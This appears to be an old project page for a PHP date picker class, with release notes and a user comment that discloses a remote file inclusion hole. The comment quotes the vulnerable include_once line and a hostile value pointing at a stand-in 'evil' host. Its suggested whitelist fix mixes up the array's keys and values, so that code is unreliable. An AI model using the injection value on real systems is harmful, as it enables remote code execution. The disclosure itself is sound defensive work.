Projects / PHP Date Picker Class

PHP Date Picker Class

PHP Date Picker Class will automatically generate the required HTML and JavaScript code that will make a pop-up window appear to let the user choose a date from a calendar. The selected date will be passed to a user-specified control from the calling page. Every aspect is customizable by modifying a template and a related CSS file. The format in which the date is returned, the default date and time period, and the first day of the week can be selected.

Tags
Operating Systems
Implementation
Translations

Recent releases

  •  15 Nov 2007 18:31

    Release Notes: This release fixes a bug where on some installations, months could not be changed. It fixes a bug where selectableDatesRange couldn't be used without also using selectableYearsRange. The datepicker now pops up in the center of the screen. A new property, "showGoToCurrentMonthYear" was added which, when set to TRUE, will show another button that when clicked sends the datepicker back to current month/year.

    •  05 Mar 2007 09:30

      Release Notes: The selected date and time were not preserved if the month or year were changed. Using any date format other than the default would cause all dates to be disabled everywhere. A potential problem with selectableYearsRange and selectableTimesRange was fixed. The cause of the problem was the fact that PHP's date() function returns a string and therefore date("Y") would return the current date as a string rather than an integer, which made the calendar unusable.

      •  29 Jan 2007 14:15

        Release Notes: The new selectableYearsRange property was added. Setting values to this property will make the years show in a select box rather than static text, enabling the user to quickly select a year from given ranges. The new enableTimePicker property was added. Setting this to TRUE will let users also select hours and minutes. The new selectableTimesRange property was added. It is available only if enableTimePickersetting is set to TRUE. Setting values to this property will let the users select hours and minutes only from given ranges. A bug that prevented preselection of a date was fixed. A Finnish language translation was added.

        •  03 Nov 2006 10:31

          Release Notes: A major security issue where an atacker could include random scripts was fixed. If the datepicker was called with the onclick event of an "image" input type from a form, the form got submitted. A Romanian language translation was added. A Slovenian language translation was added.

          •  12 Oct 2006 07:14

            Release Notes: You can now set specific date ranges from which the user can pick a date, thus restricting the user from choosing wrong dates (see the manual for the new selectableRange property). An Italian language translation was added. A French language translation was added.

            Recent comments

            12 Oct 2006 03:41 tobozo

            Code needs Security
            Very nice work, however the code in datepicker.php seems to trust user input a bit too much.

            include_once("../languages/".$_POST["language"].".php");

            On some platforms, what would happen if some crafted html form was submitted with a value like this one : %00http://www.evil.site.com/evil.script ?

            quickfix :

            Validate any single data coming from the wild. There are a few methods to do this depending on what you need from this data.

            $langs = array(

            'default' => 'english.php',

            'english' => 'english.php',

            'french' => 'french.php

            (...)

            );

            if(!in_array($_POST['language'], $langs)) {

            $language = $langs['default'];

            } else {

            $language = $langs[$_POST['language']];

            }

            include_once("../languages/".$language);

            methods for validating numbers :

            $myNumber = sprintf('%02d', $_GET['myNumber']);

            also works (dirty) :

            $myNumber = (int)$_GET['myNumber'];

            hope this helps

            tobozo

            Screenshot

            Project Spotlight

            OpenStack4j

            A Fluent OpenStack client API for Java.

            Screenshot

            Project Spotlight

            TurnKey TWiki Appliance

            A TWiki appliance that is easy to use and lightweight.